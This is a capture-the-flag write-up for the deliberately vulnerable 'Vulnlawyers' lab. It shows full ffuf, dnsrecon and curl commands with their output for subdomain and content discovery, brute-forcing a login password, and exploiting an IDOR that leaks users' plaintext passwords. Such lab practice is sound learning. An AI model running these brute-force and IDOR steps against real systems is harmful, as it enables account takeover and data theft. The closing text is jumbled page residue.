zerospl0it
  • CTF
    • Altered-Security
      • DART CTF
    • HackingHub
      • Vulnbegin
      • Vulnforum
      • Vulnlawyers
    • HackTheBox
      • Fortress
        • Akerva
        • Context
        • Jet
      • Machines
        • Bagel
        • BroScience
        • Derailed
        • Escape
        • Inject
        • Investigation
        • Mentor
        • Photobomb
        • Pollution
        • Precious
        • Soccer
        • Stocker
Powered by GitBook
On this page
  • DNS Recon
  • Content Discovery
  • API Discovery
  • Bruteforcing
  • IDOR
  • Final Flag
  1. CTF
  2. HackingHub

Vulnlawyers

DNS Recon

❯ nslookup -type=any vulnlawyers.co.uk 8.8.8.8
Server:		8.8.8.8
Address:	8.8.8.8#53

Non-authoritative answer:
Name:	vulnlawyers.co.uk
Address: 68.183.255.206
vulnlawyers.co.uk	nameserver = ns1.digitalocean.com.
vulnlawyers.co.uk	nameserver = ns2.digitalocean.com.
vulnlawyers.co.uk	nameserver = ns3.digitalocean.com.
vulnlawyers.co.uk
	origin = ns1.digitalocean.com
	mail addr = hostmaster.vulnlawyers.co.uk
	serial = 1626211986
	refresh = 10800
	retry = 3600
	expire = 604800
	minimum = 1800

Authoritative answers can be found from:

❯ dnsrecon -d vulnlawyers.co.uk -D ~/Dokumente/ctfchallenge/wordlists/subdomains.txt -t brt
[*] Performing host and subdomain brute force against vulnlawyers.co.uk
[*] 	 A data.vulnlawyers.co.uk 68.183.255.206
[*] 	 A www.vulnlawyers.co.uk 68.183.255.206
[+] 2 Records Found

Content Discovery

❯ ./ffuf -w ~/Dokumente/ctfchallenge/wordlists/content.txt -t 1 -p 0.2 -H "Cookie: ctfchallenge=CENSORED" -u http://www.vulnlawyers.co.uk/FUZZ -mc all -fc 404

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://www.vulnlawyers.co.uk/FUZZ
 :: Wordlist         : FUZZ: /home/zerospl0it/Dokumente/ctfchallenge/wordlists/content.txt
 :: Header           : Cookie: ctfchallenge=CENSORED
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1
 :: Delay            : 0.20 seconds
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 29ms]
denied                  [Status: 401, Size: 1020, Words: 178, Lines: 30, Duration: 30ms]
images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 31ms]
js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 29ms]
login                   [Status: 302, Size: 1119, Words: 197, Lines: 31, Duration: 38ms]
❯ curl -H "Cookie: ctfchallenge=CENSORED" http://vulnlawyers.co.uk/login
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>VulnLawyers - Old Login</title>
    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <link href="/template-manager/style.css" rel="stylesheet">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-md-12">
            <h1 style="padding-top:100px;text-align: center;color: #060505;letter-spacing: -1px;font-weight: bold">VulnLawyers</h1>
            <h3 class="text-center">We'll win that case!</h3>
        </div>
    </div>
    <div class="row">
        <div class="col-md-6 col-md-offset-3">
            <div class="alert alert-info">
                <p>Access to this portal can now be found here <a href=/lawyers-only">/lawyers-only</a></p>
                <p>[^FLAG^FB52470E40F47559EBA87252B2D4CF67^FLAG^]</p>
            </div>
        </div>
    </div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>

API Discovery

❯ ./ffuf -w ~/Dokumente/ctfchallenge/wordlists/content.txt -t 1 -p 0.2 -H "Cookie: ctfchallenge=CENSORED" -u http://data.vulnlawyers.co.uk/FUZZ -mc all -fc 404

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://data.vulnlawyers.co.uk/FUZZ
 :: Wordlist         : FUZZ: /home/zerospl0it/Dokumente/ctfchallenge/wordlists/content.txt
 :: Header           : Cookie: ctfchallenge=CENSORED
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1
 :: Delay            : 0.20 seconds
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

campaigns               [Status: 429, Size: 169, Words: 7, Lines: 8, Duration: 27ms]
users                   [Status: 200, Size: 406, Words: 6, Lines: 1, Duration: 29ms]
web.config              [Status: 429, Size: 169, Words: 7, Lines: 8, Duration: 26ms]
❯ curl -H "Cookie: ctfchallenge=CENSORED" http://data.vulnlawyers.co.uk/users | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   406    0   406    0     0   6766      0 --:--:-- --:--:-- --:--:--  6766
{
  "users": [
    {
      "name": "Yusef Mcclain",
      "email": "yusef.mcclain@vulnlawyers.co.uk"
    },
    {
      "name": "Shayne Cairns",
      "email": "shayne.cairns@vulnlawyers.co.uk"
    },
    {
      "name": "Eisa Evans",
      "email": "eisa.evans@vulnlawyers.co.uk"
    },
    {
      "name": "Jaskaran Lowe",
      "email": "jaskaran.lowe@vulnlawyers.co.uk"
    },
    {
      "name": "Marsha Blankenship",
      "email": "marsha.blankenship@vulnlawyers.co.uk"
    }
  ],
  "flag": "[^FLAG^25032EB0D322F7330182507FBAA1A55F^FLAG^]"
}

Bruteforcing

We've discovered the login page previously during our content discovery phase. Let's check if we can crack a password by using the infos we've gathered on the api

Let's check the login panel source

<div class="panel-body">
    <form method="post">
        <div><label>User Email:</label></div>
        <div style="margin-top: 7px"><input class="form-control" name="email" ></div>
        <div style="margin-top: 7px"><label>Password:</label></div>
        <div><input class="form-control" type="password" name="password" ></div>
        <div style="margin-top:7px">
        <input type="submit" class="btn btn-success pull-right" value="Login"></div>

using ffuf we will bruteforce the password

❯ ./ffuf -w ~/Dokumente/ctfchallenge/wordlists/passwords.txt -X POST -d "email=jaskaran.lowe@vulnlawyers.co.uk&password=FUZZ" -t 1 -p 0.1 -H "Cookie: ctfchallenge=CENSORED" -H "Content-Type: application/x-www-form-urlencoded" -u http://www.vulnlawyers.co.uk/lawyers-only-login -mc all -fc 200
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://www.vulnlawyers.co.uk/lawyers-only-login
 :: Wordlist         : FUZZ: /home/zerospl0it/Dokumente/ctfchallenge/wordlists/passwords.txt
 :: Header           : Cookie: ctfchallenge=CENSORED
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : email=jaskaran.lowe@vulnlawyers.co.uk&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1
 :: Delay            : 0.10 seconds
 :: Matcher          : Response status: all
 :: Filter           : Response status: 200
________________________________________________

123456                  [Status: 401, Size: 1925, Words: 554, Lines: 48, Duration: 33ms]
password                [Status: 401, Size: 1925, Words: 554, Lines: 48, Duration: 32ms]
summer                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 30ms]
:: Progress: [101/101] :: Job [1/1] :: 7 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

After we logged in as jaskaran.lowe@vulnlawyers.co.uk using the password summer we can find another flag [^FLAG^7F1ED1F306FC4E3399CEE15DF4B0AE3C^FLAG^]

IDOR

{"id":4,"name":"Jaskaran Lowe","email":"jaskaran.lowe@vulnlawyers.co.uk","password":"summer"}
{"id":1,"name":"Yusef Mcclain","email":"yusef.mcclain@vulnlawyers.co.uk","password":"Rk@c7#U3@2r%0f"}
{"id":2,"name":"Shayne Cairns","email":"shayne.cairns@vulnlawyers.co.uk","password":"q2V944&#2a1^3p","flag":"[^FLAG^938F5DC109A1E9B4FF3E3E92D29A56B3^FLAG^]"}
{"id":3,"name":"Eisa Evans","email":"eisa.evans@vulnlawyers.co.uk","password":"Sn06#ibx@lGPG7"}
{"id":5,"name":"Marsha Blankenship","email":"marsha.blankenship@vulnlawyers.co.uk","password":"A^66vqhOU!e2ZV"}

Final Flag

Logging in as Shayn Cairns we seem to have permissions to delete cases. Let's examine this. After clicking on "delete case" we get the final flag [^FLAG^B38BAE0B8B804FCB85C730F10B3B5CB5^FLAG^]

Last updated 1 year ago

Visit: to get the first flag {"name":"VulnLawyers Website API","version":"2.1.04","flag":"[^FLAG^E78DEBBFDFBEAFF1336B599B0724A530^FLAG^]"}

When visiting we instantly get redirected to which tells us that we can't access that portal with our url Let's use curl to check if we can find some data due to an broken redirect

Back in the DNS Recon Phase we found to get the first flag. It mentioned an API. Lets check if we can find any useful endpoints

While browsing the webportal we find and "Profile" Tab under which should let us update our own details. I've tried to change the name and recorded the request in my browsers dev console. It didn't work but I got another URL which seems to be an API for Userdata URL:

Let's check for Vulnerabilities URL:

URL: Got another flag

URL:

URL:

http://data.vulnlawyers.co.uk
http://vulnlawyers.co.uk/login
http://vulnlawyers.co.uk/denied
http://data.vulnlawyers.co.uk
http://www.vulnlawyers.co.uk/lawyers-only-profile
http://www.vulnlawyers.co.uk/lawyers-only-profile-details/4
IDOR
http://www.vulnlawyers.co.uk/lawyers-only-profile-details/1
http://www.vulnlawyers.co.uk/lawyers-only-profile-details/2
http://www.vulnlawyers.co.uk/lawyers-only-profile-details/3
http://www.vulnlawyers.co.uk/lawyers-only-profile-details/5